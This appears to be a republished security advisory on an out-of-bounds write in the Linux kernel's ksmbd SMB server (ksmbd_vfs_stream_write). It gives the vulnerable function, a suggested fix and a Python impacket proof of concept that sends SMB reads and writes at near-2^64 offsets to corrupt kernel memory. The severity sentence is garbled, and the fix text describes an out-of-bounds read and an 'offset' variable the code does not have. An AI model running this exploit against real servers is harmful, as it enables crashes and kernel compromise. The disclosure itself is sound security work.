Linux Kernel: Out of bounds Write in ksmbd_vfs_stream_write
The ksmbd_vfs_stream_write function, which handles writing data to a file with extended attributes ( 2025-1-8 23:59:36 Author: github.com(查看原文) 阅读量:4 收藏

The ksmbd_vfs_stream_write function, which handles writing data to a file with extended attributes (representing ADS), contains a vulnerability that allows an attacker to write data outside the bounds of the allocated buffer.

Critical - This vulnerability can allow an attacker to This could allow them to hijack the control flow of the kernel and execute arbitrary code with kernel privilege and or a denial of serivce.

static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos,
				  size_t count)
{
	char *stream_buf = NULL, *wbuf;
	struct mnt_idmap *idmap = file_mnt_idmap(fp->filp);
	size_t size;
	ssize_t v_len;
	int err = 0;

	ksmbd_debug(VFS, "write stream data pos : %llu, count : %zd\n",
		    *pos, count);

	size = *pos + count; // (1) 
	if (size > XATTR_SIZE_MAX) {
		size = XATTR_SIZE_MAX;
		count = (*pos + count) - XATTR_SIZE_MAX;
	}

	v_len = ksmbd_vfs_getcasexattr(idmap,
				       fp->filp->f_path.dentry,
				       fp->stream.name,
				       fp->stream.size,
				       &stream_buf);
	if (v_len < 0) {
		pr_err("not found stream in xattr : %zd\n", v_len);
		err = v_len;
		goto out;
	}

	if (v_len < size) {
		wbuf = kvzalloc(size, GFP_KERNEL);
		if (!wbuf) {
			err = -ENOMEM;
			goto out;
		}

		if (v_len > 0)
			memcpy(wbuf, stream_buf, v_len);
		kvfree(stream_buf);
		stream_buf = wbuf;
	}

	memcpy(&stream_buf[*pos], buf, count); // (2)

	err = ksmbd_vfs_setxattr(idmap,
				 &fp->filp->f_path,
				 fp->stream.name,
				 (void *)stream_buf,
				 size,
				 0,
				 true);
	if (err < 0)
		goto out;

	fp->filp->f_pos = *pos;
	err = 0;
out:
	kvfree(stream_buf);
	return err;
}

The code should be modified to explicitly check for negative values of offset before using it as an offset. This could be a simple check like:
if (offset < 0) {
return -EINVAL;
}
This ensures that only valid, non-negative offsets are used, preventing the out-of-bounds read.

from impacket import smb3 as smb, smbconnection
from hexdump import hexdump


class BugClient:
    def __init__(self, target, share, username, password, domain="", port=445):
        self.target = target
        self.share = share
        self.username = username
        self.password = password
        self.domain = domain
        self.port = port
        self.smbClient = smbconnection.SMBConnection(
            self.target, self.target, sess_port=self.port
        )
        self.smbClient.login(self.username, self.password, self.domain)

    def leak_oob(self, file_path, how_much):
        try:
            # Connect to the share
            tree_id = self.smbClient.connectTree(self.share)

            # Open the file
            file_id = self.smbClient.openFile(
                tree_id, file_path, desiredAccess=smb.FILE_READ_DATA
            )

            # Read the file contents at offset
            data = self.smbClient.readFile(
                tree_id, file_id, 18446744073709551615 - how_much, how_much
            )

            # Close the file
            self.smbClient.closeFile(tree_id, file_id)

            # Disconnect from the tree
            self.smbClient.disconnectTree(tree_id)

            return data

        except Exception as e:
            print(f"Error reading file: {e}")
            return None

    def write_oob(self, file_path, data, how_much):
        try:
            # Connect to the share
            tree_id = self.smbClient.connectTree(self.share)

            # Open the file for writing
            file_id = self.smbClient.openFile(
                tree_id,
                file_path,
                desiredAccess=smb.GENERIC_WRITE,
                creationDisposition=smb.FILE_CREATE,
            )

            # Write data at the specified offset
            self.smbClient.writeFile(
                tree_id, file_id, data, 18446744073709551615 - how_much
            )

            # Close the file
            self.smbClient.closeFile(tree_id, file_id)

            # Disconnect from the share
            self.smbClient.disconnectTree(tree_id)
        except Exception as e:
            print(f"Error writing file: {e}")
            return None


client = BugClient("127.0.0.1", "share1", "", "") # Host, share, user, pass

# Write a bunch of B's OOB - will probably give a splat (rerun if not crashing yet)
client.write_oob("/file:stream1:$data", "B" * 3002, 3000)

文章来源: https://github.com/google/security-research/security/advisories/GHSA-qmm2-xfcw-4r29
如有侵权请联系:admin#unsafe.sh